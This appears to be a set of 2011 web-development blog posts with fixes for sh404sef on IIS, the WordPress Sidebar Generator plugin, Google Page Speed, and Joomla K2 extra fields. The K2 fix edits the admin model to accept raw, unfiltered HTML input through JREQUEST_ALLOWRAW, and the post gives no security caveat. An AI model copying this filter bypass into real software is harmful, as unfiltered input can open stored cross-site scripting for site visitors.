QUICK how to fix sh404sef on IIS - just in case
1. open up webroot\components\com_sh404sef\shPageRewrite.php
2. Find and replace every instance of #__sh404SEF so it matches your db table. The default is lower case #__sh404sef. OMG WTF! it works on Linux and Apache, why not windows????

Venting and Explanations
Horray! another 3 hours learning about sh404sef. This time a site needed to use the joomla website offline login form. This particular site is hosted on win IIS over at Outstanda hosting, they actually had really responsive tech support which was nice.

Support was needed to figure out how to modify folder permissions in their control panel. For reference you have to change it in the FTP manager from the control panel.

As soon as the website offline was enabled the website was throwing a "service temporarily unavailable" which is INCREDIBLY annoying to figure out, esp because this server would not output error messages. I manually stepped through the files tracing it to the shPageRewrite.php file to the first line for the db call.

Sidebar Generator plugin for Wordpress 3.1 issues resolved

2011-04-12T23:03:00.000-07:00

Hello all of you out there frustrated with the Zero response to the issues with the Sidebar Generator. I had a word press site that used this plugin and after upgrading it no longer worked or appeared to.

After playing with the plugin and testing it after the 3.1 upgrade is related to the saving the post. It turns out that the database table wp_postmeta was getting populated with a JSON string of php output

SELECT * FROM `wp_postmeta` where meta_value like '%<?=$i?>%'

<select name="sidebar_generator[<?=$i?>]">

Just replace the lines with this one

<select name="sidebar_generator_replacement[<?php echo $i; ?>]">

Link to updated plugin working on Wordpress 3.1.0

Speed up websites with the new Google Tool

2011-04-05T21:07:00.000-07:00

I love the new google Page Speed tool. It not only identifies ways to speed up a website but actually gives you useful suggestions.

Things like Optimizing Images and Browser caching for example
Losslessly compressing http://codepyro.com/assets/lay/footer.jpg could save 20.4KiB (33% reduction).

Its nice that they actually include the % saved

check it out

Enable HTML in joomla k2 extra fields

2011-03-28T00:23:00.000-07:00

K2 is a wonderful CCK and content replacement for the standard joomla content. In fact I am using it with k2mart to create some awesome shopping cart goodnes. Of course the shopping cart I am converting from is a Custom CMS/E-commerce system that has tons of custom html pieces in the product buy now pages.

Specifically I needed the ability to choose several custom messages that have little html to open new windows, highlight messages etc.

There are community links for an older version of k2 here

These don't work in the latest so here is an updated working html hax for K2 v2.4.1!

Open up Administrator/components/com_k2/models/extrafield.php

//line 32 
if (!$row->bind(JRequest::get('post')))
 

//around line 53 look for 
$objects = array ();
$values = JRequest::getVar('option_value');
$names = JRequest::getVar('option_name');

Replace with the following (if you have questions see documentation)

 //line 32 - replaced
if (!$row->bind(JRequest::get('post',JREQUEST_ALLOWHTML)))


//around line 53 - replaced
$objects = array ();
$values = JRequest::getVar('option_value','','post','string',JREQUEST_ALLOWRAW);
$names = JRequest::getVar('option_name','','post','string',JREQUEST_ALLOWRAW);